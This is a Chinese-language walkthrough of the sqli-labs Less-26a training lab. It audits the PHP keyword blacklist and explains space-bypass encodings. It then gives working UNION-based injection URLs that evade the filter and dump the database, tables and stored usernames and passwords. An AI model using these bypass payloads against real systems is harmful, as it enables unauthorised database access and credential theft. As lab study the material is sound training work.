sqli-labs通关笔记-第26a关GET字符注入(多重关键字过滤绕过 手注法)
目录
目录
一、源码分析
1、代码审计
2、SQL安全性分析
(1)[--]
(2)[\/\*]
(3)[#]
(4)[\s]
(5)[\/\\\\]
四、探测空格绕过
1、注释符替代空格法
2、括号绕过法
3、特殊字符与括号绕过法
4、字符串拼接与运算符法
五、渗透实战
1、进入靶场
2、获取列数
(1)order by 数字 or ('1')=('7探测
(2)order by 数字 and ('1')=('7探测
(3)使用两列进行回显位探测
(4)使用三列进行回显位探测
3、获取数据库名
4、获取表名
5、获取列名
6、获取用户名密码
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第26a关Less 26a基于GET字符型的SQL注入关卡进行渗透实战,与26关的区别是无法使用报错法进行注入,该关卡同样过滤多个关键字(包括and、or、三类注释符号、空格等关键字)防止SQL注入攻击。
一、源码分析
1、代码审计
本关卡Less26a是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。
Less26关卡功能是简单基于id的查询页面,相对于26关有3个区别,第一是闭合方式发生变化(单引号变为单引号括号),第二是26a关卡并不对数据库报错信息进行打印,第三是26a关卡增加了一个空格过滤处理(无意义处理),如下所示。
详细注释后的代码如下所示。
<?php
// 引入MySQL数据库连接配置
include("../sql-connections/sql-connect.php");// 处理GET请求中的id参数
if(isset($_GET['id']))
{$id = $_GET['id']; // 获取用户输入的id值// 记录用户输入到日志文件(用于安全审计或分析)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:'.$id."\n");fclose($fp);// 应用黑名单过滤函数处理用户输入$id = blacklist($id);// 保存过滤后的id值用于页面提示(调试用)$hint = $id;// 构造SQL查询(注意:id被括号和单引号包围)$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";// 执行SQL查询(使用已弃用的mysql_*函数)$result = mysql_query($sql);$row = mysql_fetch_array($result);// 根据查询结果输出用户信息或错误提示if($row){echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';// 注意:此处注释掉了错误输出,避免泄露信息// print_r(mysql_error());echo "</font>"; }
}
else { echo "Please input the ID as parameter with numeric value";
}/*** 黑名单过滤函数* 移除或替换常见SQL注入关键字和符号*/
function blacklist($id)
{$id = preg_replace('/or/i', "", $id); // 移除OR关键字(不区分大小写)$id = preg_replace('/and/i', "", $id); // 移除AND关键字$id = preg_replace('/[\/\*]/', "", $id); // 移除/*注释符号$id = preg_replace('/[--]/', "", $id); // 移除--注释符号$id = preg_replace('/[#]/', "", $id); // 移除#注释符号$id = preg_replace('/[\s]/', "", $id); // 移除空格字符$id = preg_replace('/[\s]/', "", $id); // 重复移除空格(可能为冗余代码)$id = preg_replace('/[\/\\\\]/', "", $id); // 移除斜杠字符return $id;
}
?>
本关卡实现了一个存在SQL注入风险的用户查询系统,功能如下所示。
-
参数处理与日志记录:
- 通过 GET 获取
id
参数,记录到日志文件result.txt
。 - 使用
blacklist
函数过滤id
中的敏感关键词和字符(如OR
、AND
、注释符、空格等)。
- 通过 GET 获取
-
数据库操作:
- 构造字符串型 SQL 查询
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
,使用单引号括号包裹id参数。
- 构造字符串型 SQL 查询
-
页面交互:
- 成功时显示用户名和密码,失败时并不回显数据库错误。
- 底部提示过滤后的
id
值($hint
),显示输入处理结果。
2、SQL安全性分析
由于本关卡没有打印数据库报错信息,故而相对于上一关卡不能使用报错法注入,手工注入需要使用联合注入法。系统虽然通过preg_replace()函数进行了简单的关键字过滤,单仍可通过双写关键字绕过过滤机制,导致依旧存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。对本关卡的过滤函数进行分析,与26关基本一样,只是多了一个空格过滤(由于前一句已经过滤了空格,新增加这一行再过滤空格的处理没有意义),实际上26和26a关卡一致,对比如下所示。
26a关卡的过滤函数处理如下所示。
分析:单引号括号闭合
sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1"这一关结将空格,or,and,/*,#,–-,/以及空格等各种符号过滤$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
因为过滤了空格,所以直接使用sqlmap会比较糟糕,故而or和and改为oror、anandd这个也没有用,因为空格的过滤会导致很多字符串连接到一起,从而渗透失效。故而在作为逻辑符号or时,需要改为||(因为空格被过滤)否则这会导致很多问题(这里要特别强调,并没有将and替换为&&,这是因为测试过程中and替换为&&时会出错,无法渗透成功)。
在作为字符串如information时,需要使用双写绕过, 比如information要替换为infoorrmation。
同样字符串password中的or也要使用双写绕过,替换为passwoorrd。
由于空格会被过滤掉,导致多个函数与连接词(or,and,from)等用空格连接时,空滤空格后会导致字符串连接到一起,函数需要使用括号包裹替换。
另外三类注释符号( /*,--,#)都被过滤为空。
(1)[--]
方括号 []
在正则中表示字符组,匹配其中的任意一个字符。这里的 [--]
本意可能是匹配双连字符 --
,但实际上会移除所有单个 -
字符:
- 连字符
-
在字符组中有特殊含义(表示范围,如[a-z]
)。 - 当
-
是字符组中的第一个或最后一个字符时,它会被视为普通字符。因此,[--]
等价于[-]
,即只匹配单个连字符-
如果只是计划
移除 SQL 注释符--,黑名单函数如下所示。
$id = preg_replace('/--/', '', $id); // 移除SQL注释符
(2)[\/\*]
方括号 []
表示字符组,匹配其中的任意一个字符,因此,[\/\*]
会匹配 单个 /
或 。
-
\/
:转义后的斜杠/
。 \*
:转义后的星号*
。
这行代码会移除所有 /
和 *
字符,但无法单独移除 /*
组合(例如 SQL 注释块),如果想要移除/*
开头到 */
结尾的注释块,应使用如下语句。
$id = preg_replace('/\/\*.*?\*\//s', '', $id); // 移除 /* ... */ 注释块
若仅需移除 /*
组合(不处理闭合),应使用如下语句。
$id = preg_replace('/\/\*/', '', $id); // 移除 /*
(3)[#]
方括号 []
在正则中表示字符组,匹配其中的任意一个字符。这里的 [#]
会移除 单个 #
字符:
- 方括号
[]
表示字符组,匹配其中的任意一个字符。 - 由于
#
在正则中没有特殊含义,无需转义,因此[#]
等价于#
。 - 这行代码的意图是移除 单个
#
字符,常用于防御 SQL 单行注释(例如 MySQL 中的# 注释内容)
。
(4)[\s]
方括号 []
表示字符组,匹配其中的任意一个字符。这个正则的含义是移除所有空白字符。
\s
是正则表达式中的元字符,表示任意空白字符,等价于[ \t\n\r\f\v]
(包含空格、制表符\t
、换行符\n
、回车符\r
等)。移除所有空白字符,包括:- 空格()
- 制表符(
\t
,对应%09
) - 换行符(
\n
,对应%0A
) - 回车符(
\r
,对应%0D
) - 垂直制表符(
\v
)和换页符(\f
)。 -
示例:输入:
$id = "1 OR 1=1";
输出:"1OR1=1"
(所有空格被移除)。
- 方括号
[]
在此处是多余的,因为\s
本身已表示字符组。因此,[\s]
与\s
完全等价。
(5)[\/\\\\]
这个代码会移除所有 /
和 \
字符,常用于防御通过斜杠构造的 SQL 注入或文件路径遍历攻击。
- 方括号
[]
表示字符组,匹配其中的任意一个字符。 \/
:转义后的斜杠/
。\\\\
:双重转义的反斜杠\
(PHP 字符串中需用\\
表示一个反斜杠,正则中需再转义一次)。- 因此,
[\/\\\\]
等价于[/\\]
,匹配 单个/
或\
这一过滤规则用于阻止攻击者利用斜杠:
- 构造注释:
/* 注释内容 */
(需配合[\/\*]
过滤)。 - 转义单引号:
\'
(反斜杠用于转义单引号,移除后导致语法错误)。 - 文件路径遍历:
../../etc/passwd
(在文件包含漏洞中,移除/
可阻止路径 traversal)。
四、探测空格绕过
当目标系统过滤了空格字符时,仍然有多种方法可以探测和利用SQL注入漏洞。以下是系统的探测和绕过方法。
1、注释符替代空格法
当空格被过滤时,可用注释符/**/或/*!...*/(MySQL特有)替代空格,使SQL语句保持语法正确。例如:SELECT/**/username/**/FROM/**/users。MySQL的内联注释还能绕过特定版本限制。此方法简单高效,但需注意不同数据库的注释语法差异(如Oracle使用--)。在自动化工具中,SQLMap的space2comment脚本可自动完成这种转换,适用于快速探测和利用注入点。
2、括号绕过法
当空格被过滤时可以利用括号重构语句逻辑。括号可自然分隔关键词且通常不被过滤,尤其适用于数字型注入。比如 SELECT column FROM table 可以替换为如下语句。
UNION(SELECT(column)FROM(table))
3、特殊字符与括号绕过法
通过Tab(%09)、换行符(%0A)等不可见字符替代空格。此方法隐蔽性强,但需测试目标数据库对特殊字符的支持情况。在渗透测试中,可结合Burp Suite等工具对特殊字符进行编码测试,逐步验证可用分隔符。
target_spaces = ['%09', '%0a', '%0b', '%0c', '%0d', '%20', '%23', '%2a', '%2d', '%2f', '%5c']
以下是这些特殊字符可以替代空格的详细分析表格。
编码字符 | ASCII字符 | 名称 | 可替代空格的原因 |
---|---|---|---|
%09 | \t | 水平制表符 | 数据库解析时会视作空白分隔符,但常被过滤规则忽略 |
%0a | \n | 换行符 | SQL语句中作为隐式分隔符,尤其在批量执行时有效 |
%0b | \v | 垂直制表符 | 非常规空白符,部分数据库解析为分隔符 |
%0c | \f | 换页符 | 类似%0a 的分隔作用,但兼容性较低 |
%0d | \r | 回车符 | 与%0a 组合使用可绕过严格过滤 |
%20 | 空格 | 标准URL编码空格 | 直接等价于空格,可能被简单解码器还原 |
%23 | # | 井号(注释符) | 结合换行符构成注释(如%23%0a ),使后续内容被忽略 |
%2a | * | 星号 | 在特定位置作为通配符时可充当分隔符(如SELECT*FROM ) |
%2d | - | 连字符 | 结合注释使用(如--%0a ) |
%2f | / | 斜杠 | 用于开启注释(如/**/ ) |
%5c | \ | 反斜杠 | 部分数据库解析转义字符时会产生隐式分隔效果 |
本关卡中通过探测,发现%0b是有效的替换方法,故而在第五部分使用%0b替换空格。
4、字符串拼接与运算符法
利用逻辑运算符(如||、+)或科学计数法(如1e0)隐式连接语句片段。
例如:'OR'1'='1可以将OR替换为||,此方法无需显式空格,依赖数据库的隐式语法解析规则,如MySQL的||需启用PIPES_AS_CONCAT模式。适用于简单过滤场景,但对复杂语句的构造要求较高,通常作为备用方案与其他技术组合使用。
五、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page2,如下图红框所示。
其中第26a关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
点击上图红框的Less26a关卡,进入到靶场的第26a关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-26
2、获取列数
(1)order by 数字 or ('1')=('7探测
因为所有注释符号都被过滤掉,故而如果计划构造order by 3注入语句,闭合方式为单引号括号,故而正常需要使用order by 3#或者order by 3 --+语句,因为所有注释的语句都被过滤掉,故而需要构造单引号括号的闭合。将注释符号替换为尾部增加类似or ('1')=('7这种表达式为False的语句,不影响整个判断。首先order by判断是否存在3列,如下所示渗透成功。
http://192.168.59.1/sqli-labs/Less-26a/?id=1') order by 3 or ('1')=('7
经过绕过处理(or变为||,空格变为0b%)后,脚本变为如下所示,成功获取到用户名和密码。
http://127.0.0.1/sqli-labs/Less-26a/?id=1')oorrder%0b%0bby%0b(3)||('1')=('7
不过将order by的列数改为555,同样会渗透成功,如下所示。
这是因为如上语句等价于如下命令,由于1') order by 3 ||('1')=('7构成闭合后,('1')=('7')是恒等于假的,等价于0,所以注入的命令等价于 order by 555 ||0,因此SQL语句如下所示。
SELECT * FROM users WHERE id=('1') order by 555 || 0
因为在 SQL 中,OR(即||)逻辑运算符的优先级低于比较运算符(如=) ,但高于逗号(,),因此ORDER BY后的部分会被视为单个表达式,如上命令等价于如下命令。
SELECT * FROM users WHERE id=('1') order by (555 || 0)
555||0即555 or 0,参与逻辑运算的数值要么为0要么为1,在 MySQL 中,0
表示FALSE
,非零值表示TRUE
(如355
→ TRUE
),故而这个表达式的计算如下所示。
555 OR 0 → TRUE OR FALSE → TRUE → 1
所以无论order by后面的数值是多少,这种方法渗透都会成功,因为最后都等价于如下命令。
SELECT * FROM users WHERE id=('1') order by 1
(2)order by 数字 and ('1')=('7探测
上一步将注释符号替换为尾部增加类似or ('1')=('7这种表达式为False的语句,本次将or变为and逻辑符号,不影响整个判断。如果把or变成and,注入内容为and ('1')=('7,此时计划注入内容如下所示。
http://192.168.59.1/sqli-labs/Less-26a/?id=1') order by 3 and ('1')=('7
经过绕过处理(and变为aandnd,空格变为0b%)后,脚本变为如下所示
http://192.168.59.1/sqli-labs/Less-26a/?id=1')oorrder%0b%0bby%0b(555)aandnd('1')=('7
这时候同样会渗透成功,这是因为SQL语句等同于如下内容。
SELECT * FROM users WHERE id=('1') order by 555 and 0
此时页面执行的实际命令等价于如下所示。
SELECT * FROM users WHERE id=('1') order by (555 and 0)
555&&0即555 and 0,参与逻辑运算的数值要么为0要么为1,在 MySQL 中,0
表示FALSE
,非零值表示TRUE
(如355
→ TRUE
),故而这个表达式的计算如下所示。
555 AND 0 → 1 AND 0 → FALSE → 0
所以无论order by后面的数值是多少,这种方法渗透都会成功,因为最后都等价于如下命令。
SELECT * FROM users WHERE id=('1') order by 0
如下所示,无论order by后的数值是什么,只要逻辑符号为and,这个命令都可以渗透成功,页面会提示获取到用户名和密码。
(3)使用两列进行回显位探测
综上所述,由于注释符号被过滤掉,无法通过order by 数字判断列数,只能通过union select命令来尝试判断到底多少列。从页面提示的信息包括用户名和密码,我们分析可知其至少select了2个字段,也就是应该是大于等于2的一个数字。首先尝试两列,注入命令如下所示。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),(2)||('1')=('7
经过绕过处理(空格变为0b%)后,脚本变为如下所示 。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),(2)||('1')=('7
如下所示报错,说明select字段数量不是2列。
(4)使用三列进行回显位探测
接下来尝试三列进行回显位探测,注入命令如下所示。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),(2),(3)||('1')=('7
经过绕过处理(空格变为0b%)后,脚本变为如下所示 。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),(2),(3)||('1')=('7
首先尝试三列,如下所示没有报错,说明select字段数量是3列,且回显位为1和2。
3、获取数据库名
由于回显位是1和2,那么在第2个位置替换为database()函数,于是通过报错注入获取数据库名的原始注入语句如下所示。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),database(),(3)||('1')=('7
为绕过服务器,将数字用括号包裹,空格用%0b替换,修改后如下所示。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),database(),(3)||('1')=('7
渗透成功,数据库名为security,如下图所示。
4、获取表名
原始通过报错注入获取数据库security所有表格名称的注入语句如下所示(无需注释)。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),group_concat(table_name),(3) FROM (information_schema.tables) WHERE (table_schema= 'security')||('1')=('7
为绕过服务器,将or变为oorr,information_schema变为infoorrmation_schema,数字用括号包裹,修改后如下所示。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),group_concat(table_name),(3)%0bFROM%0b(infoorrmation_schema.tables)%0bWHERE%0b(table_schema=%0b'security')||('1')=('7
渗透成功,数据库security的表名分别为emails,referers,uagents,users,如下图所示。
5、获取列名
原始通过报错注入获取users表的列名,注入语句如下所示(无需注释)。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),group_concat(column_name),(3) FROM (information_schema.columns) WHERE (table_schema= 'security')and(table_name='users')||('1')=('7
为绕过服务器,将or变为||,information_schema变为infoorrmation_schema,and变为aandnd,函数调用使用用括号包裹,修改后如下所示。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),group_concat(column_name),(3)%0bFROM%0b(infoorrmation_schema.columns)%0bWHERE%0b(table_schema=%0b'security')aandnd(table_name='users')||('1')=('7
渗透成功,数据库security的users表的列名分别为id,username,password,如下图所示。
6、获取用户名密码
原始通过报错注入获取users表的列名,注入语句如下所示(无需注释)。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),group_concat(password,0x7e,username),(3) FROM(security.users) where (1=1)||('1')=('7
为绕过服务器,将or变为oorr,password变为passwoorrd,函数调用使用用括号包裹,修改后如下所示。
http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),group_concat(passwoorrd,0x7e,username),(3)%0bFROM(security.users)%0bwhere%0b(1=1)||('1')=('7
渗透成功,数据库security的users表的前两个用户名和密码内容如下所示。
Your Login name:Dumb~Dumb,I-kill-you~Angelina,p@ssword~Dummy,crappy~secure,stupidity~stupid,genious~superman,mob!le~batman,mooyuan123456~admin,admin1~admin1,admin2~admin2,admin3~admin3,dumbo~dhakkan,admin4~admin4,123456~admin'#mooyuan
Your Password:3
具体效果如下图所示。